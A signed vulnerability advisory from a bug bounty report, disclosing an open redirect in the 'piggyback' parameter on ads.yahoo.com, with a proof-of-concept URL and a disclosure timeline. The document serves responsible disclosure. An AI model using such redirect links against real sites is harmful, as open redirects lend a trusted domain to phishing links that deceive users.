Yahoo! Open Redirect

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Advisory: Yahoo Bug Bounty Program Vulnerability #2 Open Redirect  
Advisory ID: SSCHADV2013-YahooBB-002   
Author: Stefan Schurtz  
Affected Software: Successfully tested on ads.yahoo.com  
Vendor URL: http://yahoo.com  
Vendor Status: informed  
  
==========================  
Vulnerability Description  
==========================  
  
The 'piggyback'-Parameter on "http://ads.yahoo.com" is prone to an Open  
Redirect  
  
==========================  
PoC-Exploit  
==========================  
  
http://ads.yahoo.com/pixel?id=2454131&t=2&piggyback=http%3a//www.google.de&_msig=10r7s21mt&rmxbkn=26&_cbv=187571889  
  
==========================  
Solution  
==========================  
  
- -  
  
==========================  
Disclosure Timeline  
==========================  
  
13-Dec-2013 - vendor informed by contact form (Yahoo Bug Bounty Program)  
31-Dec-2013 - next message to the Yahoo Security Contact  
04-Jan-2014 - feedback from vendor  
04-Jan-2014 - vendor informed again about the three vulnerabilities  
06-Jan-2014 - Feedback from vendor - Open redirects are no longer in  
scope of the Bug Bounty program  
  
==========================  
Credits  
==========================  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
==========================  
References  
==========================  
  
http://yahoo.com  
http://www.darksecurity.de/advisories/BugBounty2013/yahoo/SSCHADV2013-YahooBB-002.tx  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.12 (GNU/Linux)  
  
iEYEARECAAYFAlLRyDsACgkQg3svV2LcbMBPlwCfYNo3J5YH+dkNKJ4fv/sOwdFA  
nLMAnA8quOpgxEvymEgRJS029/Rzr2OR  
=tDuT  
-----END PGP SIGNATURE-----  
`